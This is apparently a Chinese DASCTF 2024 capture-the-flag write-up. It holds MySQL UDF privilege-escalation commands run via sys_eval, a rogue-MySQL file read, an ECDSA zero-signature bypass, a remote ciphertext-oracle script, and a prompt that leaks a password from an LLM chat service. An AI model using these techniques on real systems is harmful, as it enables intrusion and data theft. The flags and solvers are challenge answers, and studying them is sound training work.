WEB
onlysql
先用https://github.com/rmb122/rogue_mysql_server
读取query.php
有用户名和密码 直接连接
尝试从数据库中读取flag 发现读取不全
尝试提权
读取插件目录
SHOW VARIABLES LIKE 'plugin_dir';使用udf提权
https://www.sqlsec.com/tools/udf.html
SELECT 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INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';
create function sys_eval returns string soname "udf.so";
select sys_eval('env');
FLAG=DASCTF{52625923927102143534378049346624}
REVERSE
MZ
主要逻辑比较清楚，401020是一个初始化函数，434190是sha1，用来最后取唯一值
这里off_439000的表值是在初始化中生成的，可以使用idapython来直接计算，这里我是把它提取出来做的
直接爆破来解
import hashlib
lst = [ [5, 0x43f7d8], [2, 0x43e2e0], [0x14, 0x441e10], [0x15, 0x43e9d8], [0x2b, 0x440cb0], [0x76, 0x43cd70], [0x5f, 0x43ce58], [0xc, 0x43eac8], [0x5d, 0x43a438], [0x67, 0x43a950], [0xd, 0x440cf0], [0x45, 0x43d288], [0x6c, 0x440030], [0x4a, 0x43e7c0], [0x45, 0x4390e0], [0x20, 0x43c858], [0x50, 0x43bb88], [0x71, 0x43c410], [0x45, 0x43e4c0], [0x44, 0x43f0e0], [0x6a, 0x440a08], [0x50, 0x43d778], [0x1f, 0x43cf18], [0x36, 0x43cd68], [9, 0x43bea8], [0x56, 0x43e380], [0x28, 0x43ca70], [10, 0x43aa10], [0x35, 0x43daa8], [0x7d, 0x441930], [0x7d, 0x43ba98], [0x2b, 0x43b3d8], [1, 0x43c648], [0x59, 0x439d90], [0x31, 0x43cb20], [0x58, 0x439f70], [2, 0x440780], [0x62, 0x43b2e0], [0x15, 0x43f318], [0x32, 0x43f798], [0x67, 0x440648], [0x58, 0x4393a8], [0x1a, 0x43fec8], [0x62, 0x440d30], [0x3e, 0x43ff68], [0x3c, 0x441068], [99, 0x43ac38], [0x78, 0x43a988], [0x37, 0x43c898], [0x76, 0x43ace8], [0x69, 0x43c5c0], [0x5b, 0x43c238], [0x38, 0x439818], [0x17, 0x43a530], [0x4a, 0x442068], [0x4d, 0x43ad50], [0x5a, 0x440e98], [0x39, 0x43c180], [0x27, 0x43f278], [0x2b, 0x43c7f0], [0x3c, 0x440fa8], [0x7b, 0x43bf20], [0x34, 0x43bdc8], [0x30, 0x43f020], [0x48, 0x442bb8], [0x29, 0x4398d8], [0x65, 0x43ba50], [0x7a, 0x440d80], [0x37, 0x440b08], [0x7a, 0x43a2e0], [0x32, 0x43a2c0], [5, 0x43ac98], [0x27, 0x43a918], [0x70, 0x43da90], [0x79, 0x439d00], [100, 0x43bc88], [0x52, 0x43a4e8], [0x5d, 0x43fea0], [0x18, 0x43bdb8], [0x1f, 0x440c60], [0x6c, 0x4418a8], [0x7d, 0x43ce18], [5, 0x43b220], [0x58, 0x4393a8], [0x15, 0x43cfa0], [0x3f, 0x439538], [0x23, 0x4403d8], [0x75, 0x43cfe8], [0x7a, 0x43b688], [0x1f, 0x439798], [0x24, 0x43eaa0], [0x3f, 0x43e9c0], [8, 0x43ada8], [0x2b, 0x441ea0], [0x17, 0x43d310], [0x38, 0x43a310], [0x45, 0x43c7a8], [0x25, 0x439730], [0xc, 0x43fe28], [0x14, 0x43e180], [0x4d, 0x43ad98], [0x42, 0x43b0b8], [0x5e, 0x43b180], [0x6e, 0x4411c8], [0x6b, 0x43c6a8], [7, 0x4398c8], [0x24, 0x43bfd8], [0xd, 0x43d218], [0x4c, 0x43e8e8], [0x54, 0x43a968], [0x2a, 0x43e110], [0x1c, 0x43b170], [0x5d, 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[0x5c, 0x43bda0], [0x4c, 0x439ab0], [0x36, 0x43da80], [0x45, 0x4426a8], [99, 0x43c6f0], [0x78, 0x43c6b8], [0x1e, 0x43a988], [0x4d, 0x4402a8], [0x49, 0x43b1b8], [0x16, 0x43a180], [0x2e, 0x43fd70], [0x3d, 0x442188], [0x58, 0x43ffc8], [0x2c, 0x43ae48], [0x4b, 0x442aa0], [0x1d, 0x43b510], [0x75, 0x4426e0], [0x44, 0x439ea8], [0xd, 0x43ccd0], [0x6e, 0x441770], [0x3b, 0x442c50], [9, 0x442ab0], [0x31, 0x43c0f8], [0x2e, 0x43f078], [0x37, 0x441ad0], [0x1d, 0x43c628], [0x22, 0x4416d0], [0x67, 0x441090], [0x52, 0x4390f0], [0x77, 0x43a410], [0x36, 0x43f308], [0x6f, 0x439608], [0x53, 0x441c60], [0x71, 0x43bb90], [0x75, 0x43d118], [0x40, 0x43c108], [0x70, 0x4428c8], [0x72, 0x43e918], [0xf, 0x442968], [0x6f, 0x43f128], [0x23, 0x43a408], [0x33, 0x4396d0], [0x67, 0x440640], [0x48, 0x43d348], [0x7e, 0x43ed48], [0x2b, 0x43f130], [0x52, 0x43fa08], [0, 0x43b240], [0x34, 0x4393a8], [0x1c, 0x43ced8], [0x58, 0x43c0c0], [0x15, 0x441f78], [0x30, 0x43ac90], [0x2f, 0x43fc40], [0x2b, 0x441910], [0x48, 0x440138], [0x62, 0x441a70], [0x4d, 0x43ee88], [0x3d, 0x441c80], [0x30, 0x43bd38], [0x19, 0x43e9d0], [0x7b, 0x43bc30], [0x6a, 0x43a070], [0x76, 0x442538], [0, 0x43c038], [0x6d, 0x43fdd0], [0x4b, 0x43ebe0], [0x2e, 0x43a530], [0x4c, 0x43c470], [0x27, 0x43e220], [0x2a, 0x441ec0], [0x52, 0x43bee8], [0x71, 0x43dbf0], [0x4c, 0x43b148], [0xe, 0x43fbc8], [0x55, 0x43b2d0], [6, 0x43ce90], [2, 0x440240], [0x73, 0x43c0e8], [100, 0x43b978], [0x4a, 0x43e4c8], [0x7e, 0x439e68], [0xf, 0x43cfa8], [0x38, 0x441000], [0x41, 0x441528], [0x2d, 0x43a638], [0x51, 0x4417e0], [0x13, 0x439200], [0x74, 0x4402e0], [0x7b, 0x43df90], [0x6e, 0x4398a0], [0x55, 0x43d6a0], [0x59, 0x43f9c8], [0x43, 0x43b8f0], [6, 0x440d08], [0x41, 0x43d7b0], [0x4a, 0x442ba0], [0x49, 0x4397b0], [6, 0x43eb58], [0x41, 0x43d658], [0x30, 0x43c030], [0x74, 0x442490], [0x11, 0x43e080], [0x73, 0x43c9b0], [0x3a, 0x441ff0], [0xd, 0x43fda8], [0x12, 0x43c800], [0x38, 0x43dc18], [0x46, 0x43baf8], [0x2a, 0x43ac78], [0x67, 0x43ffc0], [0x6b, 0x43b5a8], [0x5f, 0x442838], [0x36, 0x439a20], [0x3f, 0x440cf8], [0x46, 0x43e8c8], [0x62, 0x43e2c8], [0x1d, 0x440fd8], [1, 0x4421a0], [0x4b, 0x43aa00], [0x32, 0x43c960], [0x18, 0x43f900], [0x5e, 0x441170], [0x67, 0x43fa88], [0x2b, 0x43f610], [7, 0x43c910], [5, 0x439b50], [0x2e, 0x43eee8], [0x15, 0x43a898], [0xe, 0x43bf70], [0x71, 0x440108], [0x27, 0x441bc8], [0x4b, 0x4398b8], [0x31, 0x43f198], [0x60, 0x43cf78], [0x53, 0x43ed78], [0x7e, 0x43a138], [0x1c, 0x43c120], [0x5a, 0x43c5e8], [0x3e, 0x43b468], [0x10, 0x43af28], [0x18, 0x43c808], [0x6d, 0x441900], [0x36, 0x4413a0], [0x1a, 0x43b8b8], [0xb, 0x442370], [0x77, 0x43d580], [0x31, 0x43e590], [8, 0x43d800], [0x19, 0x442050], [0x14, 0x43d310], [0x33, 0x43a708], [0x61, 0x4419f8], [4, 0x439e08], [0x3c, 0x442b30], [0x77, 0x43ac38], [0x23, 0x43a2f0], [0, 0x4400d8], [0x62, 0x43e650], [0x20, 0x43f220], [0x44, 0x43ca60], [0x43, 0x43ab58], [0x58, 0x4396e8], [0x13, 0x43cbb0], [0x56, 0x43c758], [0x32, 0x441288], [0x31, 0x43ec20], [0x72, 0x43a600], [0x46, 0x43b558], [0x23, 0x43ea80], [0x57, 0x43df88], [0x38, 0x4404b0], [0x3a, 0x440828], [0x49, 0x43eb00], [0x43, 0x439a78], [0x65, 0x43dc58], [0x18, 0x43e048], [0x43, 0x442768], [0x40, 0x43d8f8], [0x69, 0x43afa0], [0x24, 0x43aa08], [0x38, 0x43dcf0], [0x69, 0x441bf0], [0xb, 0x4404d8], [0x42, 0x4407e0], [0x2e, 0x43cab8], [0x32, 0x43dd28], [0x13, 0x43b120], [0x53, 0x441798], [0x67, 0x43f2c0], [0x1d, 0x43fd80], [0x73, 0x43a498], [0x3e, 0x43ac38], [0x73, 0x43afa0], [9, 0x43c078], [0x33, 0x43a020], [6, 0x43c8c8], [0x54, 0x43fd98], [0x21, 0x440bc0], [0x54, 0x441888], [0x14, 0x43d348], [0x48, 0x4404c0], [0x74, 0x43e458], [0x78, 0x43dbc0], [0x19, 0x43e0c0], [0x34, 0x43fad8], [0x23, 0x4411e0], [0x1a, 0x440818], [3, 0x43d830], [0x29, 0x441840], [0x2a, 0x43caa8], [0x5e, 0x43d930], [0x30, 0x441b60], [0x14, 0x441270], [0x5d, 0x43a648], [0x13, 0x441060], [0x1e, 0x43a2d8], [0x79, 0x43d188], [0x70, 0x43e610], [0x4b, 0x43d250], [0x54, 0x43cf18], [0x72, 0x43f8c8], [0x30, 0x43ece0], [0xe, 0x440bd0], [99, 0x43ff68], [0x24, 0x43e488], [0x4d, 0x43a200], [0x38, 0x43e210], [0xb, 0x43e150], [0x6e, 0x440148], [0x4d, 0x441e10], [0x74, 0x440318], [0x6c, 0x43c188], [0x37, 0x43c620], [0x1e, 0x43f358], [0x4f, 0x43ac10], [0x7d, 0x43ec68], [0x4f, 0x43d350], [0x49, 0x441a38], [0x71, 0x439fd0], [0, 0x43c2a8], [8, 0x43d5b8], [0x40, 0x43be00], [0, 0x43c5c0], [0x1e, 0x43ee90], [0x42, 0x441910], [0x4b, 0x43b850], [0xd, 0x43eef0], [0x35, 0x4418a0], [0x52, 0x442300], [0x23, 0x43f768], [0x33, 0x440408], [0x36, 0x43f168], [0x5f, 0x43a570], [0x1b, 0x43fc70], [0x4d, 0x43b290], [0x1d, 0x43efe8], [0x5f, 0x440210], [0x75, 0x43b2b0], [0x55, 0x43bc80], [0x1d, 0x441928], [0x57, 0x441f58], [0x53, 0x43f850] ]
s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!&?@_~-"
length = 48
flag=''
idx,i=0,0
temp=b''
def find_flag(lst, flag, idx, i, length, temp) :
for j in s:
if ord(j) * 2 + idx < len(lst):
flag2 = None
if (ord(j) - 5) == lst[ord(j) + idx][0]:
flag2 = j
temp2 = temp + (~(ord(j) + 1) & 0xff).to_bytes(1, byteorder='big')
elif (ord(j) + 5) == lst[ord(j) + idx][0]:
flag2 = j
temp2 = temp + (~(ord(j) - 1) & 0xff).to_bytes(1, byteorder='big')
if flag2 is not None:
new_idx = (lst[ord(j) + idx][1] - 0x439078) // 8
find_flag(lst, flag + flag2, new_idx, i + 1, length, temp2)
if i == length:
hash_object = hashlib.sha1()
hash_object.update(temp)
sha1_hash = hash_object.hexdigest()
if (sha1_hash == "dc0562f86bec0a38508e704aa9faa347101e1fdb"):
print(flag)
return flag
find_flag(lst, flag, idx, i, length, temp)
#Somet1mes_ch0ice_i5_more_import@nt_tHan_effort~!BabyCPP
魔改xtea+异或+加法+异或
text_79下是主要逻辑
跟进可以看到函数的操作，然后重命名函数
xtea对循环次数和位移进行了魔改
从这里可以动调提出异或和加法的表
from ctypes import *
import libnum
enc= [0x33, 0xB2, 0x49, 0x8C, 0x39, 0xDD, 0x60, 0x5F, 0x5F, 0x77,
0x72, 0xAB, 0x38, 0xD9, 0xED, 0xE7, 0xF3, 0xF0, 0x66, 0x67,
0x16, 0xC8, 0x53, 0x80, 0x71, 0xB2, 0xFA, 0x5E, 0x7C, 0x2B,
0xBB, 0x0B, 0xE5, 0x88, 0x82, 0x0B, 0x06, 0x8C, 0x8D, 0xAD,
0x47, 0xB5, 0x85, 0xBB, 0x06, 0x8D, 0x01, 0x2B]
xor1= [238, 23, 128, 227, 23, 10, 229, 83, 51, 158, 46, 29, 5, 111, 180, 81, 154, 54, 92, 189, 8, 162, 52, 163, 101, 89, 98, 174, 52, 13, 208, 188, 48, 129, 235, 140, 101, 54, 253, 126, 74, 30, 16, 39, 221, 90, 164, 11]
xor2=[59, 59, 62, 232, 44, 114, 46, 199, 199, 222, 18, 209, 145, 52, 97, 89, 29, 19, 129, 212, 135, 103, 235, 115, 124, 88, 164, 106, 152, 151, 31, 131, 45, 163, 144, 118, 219, 240, 24, 137, 141, 226, 167, 46, 68, 188, 76, 108]
plus=[86, 45, 248, 66, 127, 194, 38, 99, 131, 50, 196, 63, 185, 168, 127, 201, 67, 34, 198, 137, 107, 93, 239, 46, 232, 32, 205, 191, 132, 240, 123, 77, 210, 63, 79, 183, 149, 240, 205, 150, 87, 86, 67, 241, 107, 1, 198, 54]
enc2=[]
for i in range(48):
temp = (enc[i] ^ xor1[i])&0xff
temp =(temp - plus[i])&0xff
temp =(temp ^ xor2[i])&0xff
enc2.append(temp)
print(enc2)
def decrypt( v, k):
v0 = v[0]
v1 = v[1]
delta = 0xDEADBEEF
x = delta * 256
for i in range(256):
x -= delta
x = x & 0xFFFFFFFF
v1 -= (((v0 << 6) ^ (v0 >> 3)) + v0) ^ (x + k[(x >> 11) & 3])
v1 = v1 & 0xFFFFFFFF
v0 -= (((v1 << 2) ^ (v1 >> 7)) + v1) ^ (x + k[x & 3])
v0 = v0 & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v
if __name__ == '__main__':
flag=b""
l=[0xc5ef43bc,0x6e716783,0xa68a692e,0xb4bb3a15,0x85f5b73b,0x86936a34,0x5b6f9350,0xe9efa15c,0xa68a692e,0xb4bb3a15,0x85f5b73b,0x86936a34]
for i in range(0,12,2):
a = [l[i],l[i+1]]
#print(a)
k = [0x67452301,0xEFCDAB89,0x98BADCFE,0x10325476]
res = decrypt( a, k)
flag += libnum.n2s(res[0])[::-1]
flag += libnum.n2s(res[1])[::-1]
print(flag)
#b'df8d8ab87c22a396041f9bde6a40c4987c22a396041f9bde'MISC
2024签到题
在标题里
数据安全-easy_tables
阅读实例相关内容，发现就是要找出不符合说明的操作，先用脚本将内容转为符合的格式，手动看一下发现有的数据缺失，手动补齐即可
import pandas as pd
import re
users = pd.read_csv("users.csv")
permissions = pd.read_csv("permissions.csv")
tables = pd.read_csv("tables.csv")
actionlog = pd.read_csv("actionlog.csv")
invalid_operations = []
for index, row in actionlog.iterrows():
username = row['账号']
user_info = users[users['账号'] == username]
if user_info.empty:
invalid_operations.append(f"用户{username}在users.csv中未找到")
continue
user_id = user_info.iloc[0]['编号']
permission_group_id = user_info.iloc[0]['所属权限组编号']
permission_info = permissions[permissions['编号'] == permission_group_id]
if permission_info.empty:
invalid_operations.append(f"用户{username}的权限组{permission_group_id}在permissions.csv中未找到")
continue
permission_group_name = permission_info.iloc[0]['权限组名']
allowed_operations = set(permission_info.iloc[0]['可操作权限'].split(','))
allowed_tables = set(map(int, permission_info.iloc[0]['可操作表编号'].split(',')))
match = re.search(r'(?:from|into|update)\s+([a-zA-Z0-9_]+)', row['执行操作'], flags=re.IGNORECASE)
table_name = match.group(1) if match else None
if table_name is not None:
table_info = tables[tables['表名'] == table_name]
if table_info.empty:
invalid_operations.append(f"表{table_name}在tables.csv中未找到")
continue
table_time_periods = table_info.iloc[0]['可操作时间段(时:分:秒)'].split(',')
operation_time = pd.to_datetime(row['操作时间']).time()
valid_time = any(
start_time <= operation_time <= end_time for period in table_time_periods
for start_time, end_time in [map(lambda x: pd.to_datetime(x).time(), period.split('~'))]
)
if not valid_time:
invalid_operations.append(f"用户{username}在表{table_name}的操作时间不在允许范围内")
continue
operation_type = row['执行操作'].split()[0].lower()
if operation_type not in allowed_operations or table_name not in allowed_tables:
log_event_id = index + 1
result = f"{user_id}_{permission_group_id}_{table_name}_{log_event_id}"
invalid_operations.append(result)
if invalid_operations:
for result in invalid_operations:
print(result)
else:
print("所有操作合规。")
之后手搓将table名替换为对应编号，之后利用数据库进行查询查找违规操作(也就是说明中的几种情况)
对于第一种情况：不存在的账号执⾏了操作
这里是大体看了一眼发现几乎没有违规的，手搓查找username，就一直看找到2个
0_0_0_6810,0_0_0_8377对于第二种情况:账号对其不可操作的表执⾏了操作
手搓，还是筛一下直接看
6_14_91_6786对于第三种情况:账号对表执⾏了不属于其权限的操作
对原来表处理一下便于查询，之后gpt跑一下
SELECT
u.`编号` AS UserID,
u.`账号` AS UserAccount,
a.`执行操作` AS ExecutedOperation
FROM
users u
JOIN
actionlog a ON u.`账号` = a.`账号`
WHERE
a.`账号` IN (
SELECT DISTINCT p.`账号`
FROM permissions p
JOIN (SELECT 0 AS digit UNION ALL SELECT 1 UNION ALL SELECT 2 UNION ALL SELECT 3) n
ON LENGTH(p.`可操作权限`) - LENGTH(REPLACE(p.`可操作权限`, ',', '')) >= n.digit
WHERE EXISTS (
SELECT 1
FROM permissions subp
WHERE subp.`账号` = p.`账号`
AND a.`执行操作` LIKE CONCAT('%', SUBSTRING_INDEX(SUBSTRING_INDEX(subp.`可操作权限`, ',', n.digit+1), ',', -1), '%')
)
);7_64_69_3448,9_18_61_5681,30_87_36_235对于第四种情况:账号不在规定时间段内执⾏操作
这边gpt跑出来的SQL语句查询的不对，手动筛选一下弄成新的csv导入为新表便于查询，之后继续gpt
WITH RankedTables AS (
SELECT
t.编号 AS tables编号,
u.编号 AS 用户编号,
u.所属权限组编号,
c.可操作表编号,
ROW_NUMBER() OVER (PARTITION BY t.编号 ORDER BY t.操作时间 DESC) AS RowNum
FROM
time t
JOIN
users u ON t.账号 = u.账号
JOIN
permissions p ON u.所属权限组编号 = p.编号
JOIN
tables tbl ON FIND_IN_SET(tbl.编号, p.可操作表编号) > 0
LEFT JOIN
actionlog c ON tbl.表名 = c.表名 AND (
TIME(t.操作时间) NOT BETWEEN SUBSTRING_INDEX(tbl.`可操作时间段(时:分:秒)`, '~', 1) AND SUBSTRING_INDEX(tbl.`可操作时间段(时:分:秒)`, '~', -1)
OR TIME(t.操作时间) IS NULL
)
)
SELECT
tables编号,
用户编号,
所属权限组编号,
可操作表编号
FROM
RankedTables
WHERE
RowNum = 1;31_76_85_9617,49_37_30_8295,75_15_43_8461,79_3_15_9011整合一下
0_0_0_6810,0_0_0_8377,6_14_91_6786,7_64_69_3448,9_18_61_5681,30_87_36_235,31_76_85_9617,49_37_30_8295,75_15_43_8461,79_3_15_9011Cyber处理一下
easy_rawraw
题目除了镜像还有一个加密压缩包，我们先丢进Passwarekit里看一下：
分析出了密码，但不是secret压缩包的
volatility分析：
mft恢复结果有这个，我们批量搜pass
提取出来有一张图片，我们binwalk分离得到另外一个有pass.txt的压缩包
农历新年的日期是20240210，密码就是这个，得到pass.txt
找不到secret压缩包的密码，只能一顿爆搜了：
得到：The password is DasrIa456sAdmIn987，解密压缩包，发现大小刚好是10mb，怀疑是VC容器，结合上面的pass.txt作为密钥文件，进行挂载
挂载成功，data.xlsx有密码，这个地方用到了我们最开始得到的密码das123admin321
解密之后观察xlsx：
直接从第8到了第10，怀疑有隐藏行：
flag：DASCTF{5476d4c4ade0918c151aa6dcac12d130}
CRYPTO
Or1cle
nc上之后，get_flag函数输入一串乱码
muchen@ubuntu:~/Desktop$ nc 1.14.108.193 32716
_ __ __________ ___________
| |/_/__ ___ ___ __ __ __ /\____;;___\ | |
_> </ -_) _ \/ _ \/ // / /o \________ | / haruki / | flag |
/_/|_|\__/_//_/_//_/\_, / \_/ | | .', ----. /| |———————————
/___/ || |||| |
\'.____.'|| |
'--------'
1. get_signature
2. get_flag
3. gift
4. exit
2
sign: asuhdaih
An error occurred in /app/task.py at line 33 in verify: invalid literal for int() with base 16: b'asuhdaih'
23: self.P = self.d*secp256k1.G
24:
25: def signature(self,msg):
26: h = int(hashlib.sha256(msg).hexdigest(),16)
27: k = h^self.d
28: r = (k*secp256k1.G).x
29: s = inverse(k,secp256k1.q) * (h + r*self.d) % secp256k1.q
30: return '%064x%064x' % (r, s)
31:
32: def verify(self,z, signature):
33: r, s = int(signature[:64], 16), int(signature[64:], 16)
34: z = int(hashlib.sha256(z).hexdigest(), 16)
35: s_inv = pow(s, secp256k1.q - 2, secp256k1.q)
36: u1 = (z * s_inv) % secp256k1.q
37: u2 = (r * s_inv) % secp256k1.q
38: point = u1 * secp256k1.G + u2 * self.P
39: return point.x == r
40:
41: banner = """
42: _ __ __________ ___________
43: | |/_/__ ___ ___ __ __ __ /\____;;___\ | |
sth error会跳出逻辑函数来，是个ecdsa和hnp问题，参考maple师傅写的tsjctf的这题
https://blog.maple3142.net/2022/02/28/tsjctf-2021-writeups/#signature
在改板子的时候注意到这样一行内容
return point.x == r令r=0的话，那乘起来point点的横坐标也是0，写一串0进去非预期拿到flag
经过测试只要0的个数大于64都行
Or2cle
题目分为两个部分：
1.简化proof函数
2.通过success和fail筛选遍历
from pwn import *
from hashlib import sha256
from base64 import *
from sage.all import *
p = remote('1.14.108.193',30837)
p.recvuntil("s : ")
s = int(p.recvuntil("\n")[:-1])
p.recvuntil("Give me a hash:")
p.sendline(str(sha256(str(binomial(s+13,14)).encode()).hexdigest()))
p.recvuntil("3. exit\n")
p.sendline("1")
p.recvuntil('This is Your flag b\'')
enc = p.recvuntil("\'")[:-1]
flag = ""
c = b64decode(enc)
for i in range(50):
for j in "0123456789abcdefDASCTF{}":
p.recvuntil("3. exit\n")
p.sendline("2")
s = chr(c[i] ^ ord(j) ^ 2)
tt = c[:i]+s.encode('latin1')+c[i+1:]
p.sendline(tt)
p.recvuntil("Dec")
stand = p.recvuntil("\n")[:-1]
if b"faild" in stand:
flag += j
break
else:
print("xxx")
print(flag)AI
AI-回声海螺
Flask框架，怀疑是模板注入
当询问的时候发送数据，会将数据传送到开放在7890端口的api服务下/api/chat，
https://github.com/ansible/ansible/issues/18466
尝试了两次{{password}}，第一次error，第二次就出了
数据安全
Cyan-1
https://mobile.moegirl.org.cn/zh/%E8%B5%9B%E5%B0%8F%E7%9B%90
在这基本都能找到
